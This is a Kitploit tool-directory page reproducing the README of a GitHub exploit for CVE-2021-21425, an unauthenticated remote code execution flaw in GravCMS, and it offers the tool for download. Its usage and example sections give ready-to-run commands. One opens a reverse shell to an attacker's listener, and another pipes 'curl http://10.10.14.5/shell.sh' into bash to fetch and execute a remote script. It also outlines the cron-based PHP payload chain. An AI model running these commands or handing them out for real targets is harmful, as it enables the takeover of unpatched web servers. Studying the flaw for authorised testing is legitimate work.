Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/d4ytox/cve-2021-21425
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubd4ytox/cve-2021-21425

CVE-2021-21425

CVE-2021-21425 - GravCMS 1.10.7 Unauthenticated RCE via Scheduler. Improved exploit with CLI args and auto base64 encoding.

Ver Repositorio
11hace 18 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Contenido no disponible en el idioma solicitado. Mostrando versión en inglés.

CVE-2021-21425 - GravCMS Unauthenticated RCE

Improved proof-of-concept for CVE-2021-21425, an unauthenticated Remote Code Execution vulnerability in GravCMS <= 1.10.7 via arbitrary YAML write to the scheduler.

Credit

This is derivative work. The vulnerability and the original exploit are not mine.

RoleWho
Vulnerability discovered byMehmet Ince (@mdisec), PRODAFT / INVICTUS Europe — March 2021
Original PoC by"legend" — Exploit-DB EDB-49973
Modifications in this repo byd4ytox

What this version changes

The original EDB-49973 requires manually editing hardcoded values in the script. This version adds:

  • Command-line arguments for target, LHOST, LPORT
  • Automatic base64 encoding of the reverse shell payload
  • Custom command support (-c)
  • Error handling and status output

These are usability changes to an existing exploit. No vulnerability research is claimed.

Vulnerability

FieldValue
CVECVE-2021-21425
EDB-ID49973
AffectedGravCMS <= 1.10.7
TypeUnauthenticated RCE
CVSS9.8 (Critical)

The Grav Admin plugin fails to verify authentication on certain admin routes, allowing unauthenticated users to write arbitrary YAML configuration. This exploit abuses the scheduler configuration to create a cron job that executes arbitrary PHP code.

Usage

root@kitploit:~
# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>

# Custom command
python3 exploit.py -t http://target -c "id"

Examples

root@kitploit:~
# Get reverse shell on target
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444

# Execute command
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"

Requirements

root@kitploit:~
pip install requests

How It Works

  1. Fetches /admin to extract the admin-nonce token (no auth required due to vulnerability)
  2. Sends POST to /admin/config/scheduler with malicious cron job configuration
  3. Scheduler executes PHP payload via /usr/bin/php -r eval(base64_decode(...))
  4. PHP writes base64-decoded reverse shell to /tmp/rev.sh and executes it

The cron job runs every minute (* * * * *), so shell arrives within 60 seconds.

Timeline

  • 2021-03-18 - Vulnerability found by Mehmet Ince during a penetration test
  • 2021-03-29 - Disclosed
  • 2021-04-01 - Patched in Grav Admin Plugin 1.10.8

References

  • NVD Entry
  • GitHub Security Advisory GHSA-6f53-6qgv-39pj
  • Original writeup by Mehmet Ince (Pentest Blog)
  • Original PoC - Exploit-DB EDB-49973

Licence

MIT, applying only to the modifications in this repository. The upstream PoC carries no licence, so it remains all rights reserved by its author. See LICENSE for the full attribution notice.

Disclaimer

For authorized security testing only. Ensure you have written permission before testing against any system.

Descargar herramienta